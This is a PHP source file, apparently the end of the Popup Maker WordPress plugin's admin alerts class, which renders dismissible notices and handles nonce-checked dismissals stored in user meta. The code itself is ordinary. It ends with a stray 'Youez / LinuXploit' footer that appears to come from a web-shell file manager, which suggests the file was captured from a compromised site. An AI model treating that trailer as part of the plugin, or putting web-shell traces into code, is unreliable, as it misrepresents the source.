				<img alt="" class="logo" width="30" src="<?php echo esc_attr( Popup_Maker::$URL ); ?>assets/images/logo.png" /> <?php printf( '%s%s (%s)', ( $global_only ? esc_html__( 'Popup Maker', 'popup-maker' ) . ' ' : '' ), esc_html__( 'Notifications', 'popup-maker' ), '<span class="pum-alert-count">' . esc_html( $count ) . '</span>' ); ?>
			</h3>

			<p><?php __( 'Check out the following notifications from Popup Maker.', 'popup-maker' ); ?></p>

			<?php

			add_filter( 'safe_style_css', [ __CLASS__, 'allow_inline_styles' ] );

			foreach ( $alerts as $alert ) {
				$expires     = 1 === $alert['dismissible'] ? '' : $alert['dismissible'];
				$dismiss_url = add_query_arg(
					[
						'nonce'             => $nonce,
						'code'              => $alert['code'],
						'pum_dismiss_alert' => 'dismiss',
						'expires'           => $expires,
					]
				);
				?>

				<div class="pum-alert-holder" data-code="<?php echo esc_attr( $alert['code'] ); ?>" class="<?php echo $alert['dismissible'] ? 'is-dismissible' : ''; ?>" data-dismissible="<?php echo esc_attr( $alert['dismissible'] ); ?>">

					<div class="pum-alert <?php echo '' !== $alert['type'] ? 'pum-alert__' . esc_attr( $alert['type'] ) : ''; ?>">

						<?php if ( ! empty( $alert['message'] ) ) : ?>
							<p><?php echo wp_kses_post( $alert['message'] ); ?></p>
						<?php endif; ?>

						<?php if ( ! empty( $alert['html'] ) ) : ?>
							<?php
							echo wp_kses(
								function_exists( 'wp_encode_emoji' ) ? wp_encode_emoji( $alert['html'] ) : $alert['html'],
								self::allowed_tags()
							);
							?>
						<?php endif; ?>

						<?php if ( ! empty( $alert['actions'] ) && is_array( $alert['actions'] ) ) : ?>
							<ul>
								<?php
								foreach ( $alert['actions'] as $action ) {
									$link_text = ! empty( $action['primary'] ) && true === $action['primary'] ? '<strong>' . esc_html( $action['text'] ) . '</strong>' : esc_html( $action['text'] );
									if ( 'link' === $action['type'] ) {
										$url        = $action['href'];
										$attributes = 'target="_blank" rel="noreferrer noopener"';
									} else {
										$url = add_query_arg(
											[
												'nonce'   => $nonce,
												'code'    => $alert['code'],
												'pum_dismiss_alert' => $action['action'],
												'expires' => $expires,
											]
										);

										$attributes = 'class="pum-dismiss"';
									}
									?>
									<li><a data-action="<?php echo esc_attr( $action['action'] ); ?>" href="<?php echo esc_url( $url ); ?>" <?php echo esc_attr( $attributes ); ?> >
										<?php
										// Ignored because this breaks the HTML and link is escaped above.
										// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
										echo wp_kses_post( $link_text );
										?>
									</a></li>
								<?php } ?>
							</ul>
						<?php endif; ?>

					</div>

					<?php if ( $alert['dismissible'] ) : ?>

						<a href="<?php echo esc_url( $dismiss_url ); ?>" data-action="dismiss" class="button dismiss pum-dismiss">
							<span class="screen-reader-text"><?php esc_html_e( 'Dismiss this item.', 'popup-maker' ); ?></span> <span class="dashicons dashicons-no-alt"></span>
						</a>

					<?php endif; ?>

				</div>

			<?php } ?>

		</div>


		<?php
		remove_filter( 'safe_style_css', [ __CLASS__, 'allow_inline_styles' ] );
	}

	/**
	 * @return array
	 */
	public static function get_global_alerts() {
		$alerts = self::get_alerts();

		$global_alerts = [];

		foreach ( $alerts as $alert ) {
			if ( $alert['global'] ) {
				$global_alerts[] = $alert;
			}
		}

		return $global_alerts;
	}

	/**
	 * @return array
	 */
	public static function get_alerts() {

		static $alert_list;

		if ( ! isset( $alert_list ) ) {
			$alert_list = apply_filters( 'pum_alert_list', [] );
		}

		$alerts = [];

		foreach ( $alert_list as $alert ) {

			// Ignore dismissed alerts.
			if ( self::has_dismissed_alert( $alert['code'] ) ) {
				continue;
			}

			$alerts[] = wp_parse_args(
				$alert,
				[
					'code'        => 'default',
					'priority'    => 10,
					'message'     => '',
					'type'        => 'info',
					'html'        => '',
					'dismissible' => true,
					'global'      => false,
				]
			);
		}

		// Sort alerts by priority, highest to lowest.
		$alerts = PUM_Utils_Array::sort( $alerts, 'priority', true );

		return $alerts;
	}


	/**
	 * Handles if alert was dismissed AJAX
	 */
	public static function ajax_handler() {
		if ( ! isset( $_REQUEST['nonce'] ) || ! wp_verify_nonce( sanitize_key( wp_unslash( $_REQUEST['nonce'] ) ), 'pum_alerts_action' ) ) {
			wp_send_json_error();
		}

		$args = wp_parse_args(
			$_REQUEST,
			[
				'code'              => '',
				'expires'           => '',
				'pum_dismiss_alert' => '',
			]
		);

		$results = self::action_handler( $args['code'], $args['pum_dismiss_alert'], $args['expires'] );
		if ( true === $results ) {
			wp_send_json_success();
		} else {
			wp_send_json_error();
		}
	}

	/**
	 * Handles if alert was dismissed by page reload instead of AJAX
	 *
	 * @since 1.11.0
	 */
	public static function php_handler() {
		if ( ! isset( $_REQUEST['pum_dismiss_alert'] ) ) {
			return;
		}

		if ( ! isset( $_REQUEST['nonce'] ) || ! wp_verify_nonce( sanitize_key( wp_unslash( $_REQUEST['nonce'] ) ), 'pum_alerts_action' ) ) {
			return;
		}

		$args = wp_parse_args(
			$_REQUEST,
			[
				'code'              => '',
				'expires'           => '',
				'pum_dismiss_alert' => '',
			]
		);

		self::action_handler( $args['code'], $args['pum_dismiss_alert'], $args['expires'] );
	}

	/**
	 * Handles the action taken on the alert.
	 *
	 * @param string $code The specific alert.
	 * @param string $action Which action was taken
	 * @param string $expires When the dismissal expires, if any.
	 *
	 * @return bool
	 * @uses PUM_Utils_Logging::instance
	 * @uses PUM_Utils_Logging::log
	 * @since 1.11.0
	 */
	public static function action_handler( $code, $action, $expires ) {
		if ( empty( $action ) || 'dismiss' === $action ) {
			try {
				$dismissed_alerts          = self::dismissed_alerts();
				$dismissed_alerts[ $code ] = ! empty( $expires ) ? strtotime( '+' . $expires ) : true;

				$user_id = get_current_user_id();
				update_user_meta( $user_id, '_pum_dismissed_alerts', $dismissed_alerts );
				return true;
			} catch ( Exception $e ) {
				pum_log_message( 'Error dismissing alert. Exception: ' . $e->getMessage() );
				return false;
			}
		}

		do_action( 'pum_alert_dismissed', $code, $action );

		return true;
	}

	/**
	 * @param string $code
	 *
	 * @return bool
	 */
	public static function has_dismissed_alert( $code = '' ) {
		$dimissed_alerts = self::dismissed_alerts();

		$alert_dismissed = array_key_exists( $code, $dimissed_alerts );

		// If the alert was dismissed and has a non true type value, it is an expiry time.
		if ( $alert_dismissed && true !== $dimissed_alerts[ $code ] ) {
			return strtotime( 'now' ) < $dimissed_alerts[ $code ];
		}

		return $alert_dismissed;
	}

	/**
	 * Returns an array of dismissed alert groups.
	 *
	 * @return array
	 */
	public static function dismissed_alerts() {
		$user_id = get_current_user_id();

		$dismissed_alerts = get_user_meta( $user_id, '_pum_dismissed_alerts', true );

		if ( ! is_array( $dismissed_alerts ) ) {
			$dismissed_alerts = [];
			update_user_meta( $user_id, '_pum_dismissed_alerts', $dismissed_alerts );
		}

		return $dismissed_alerts;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit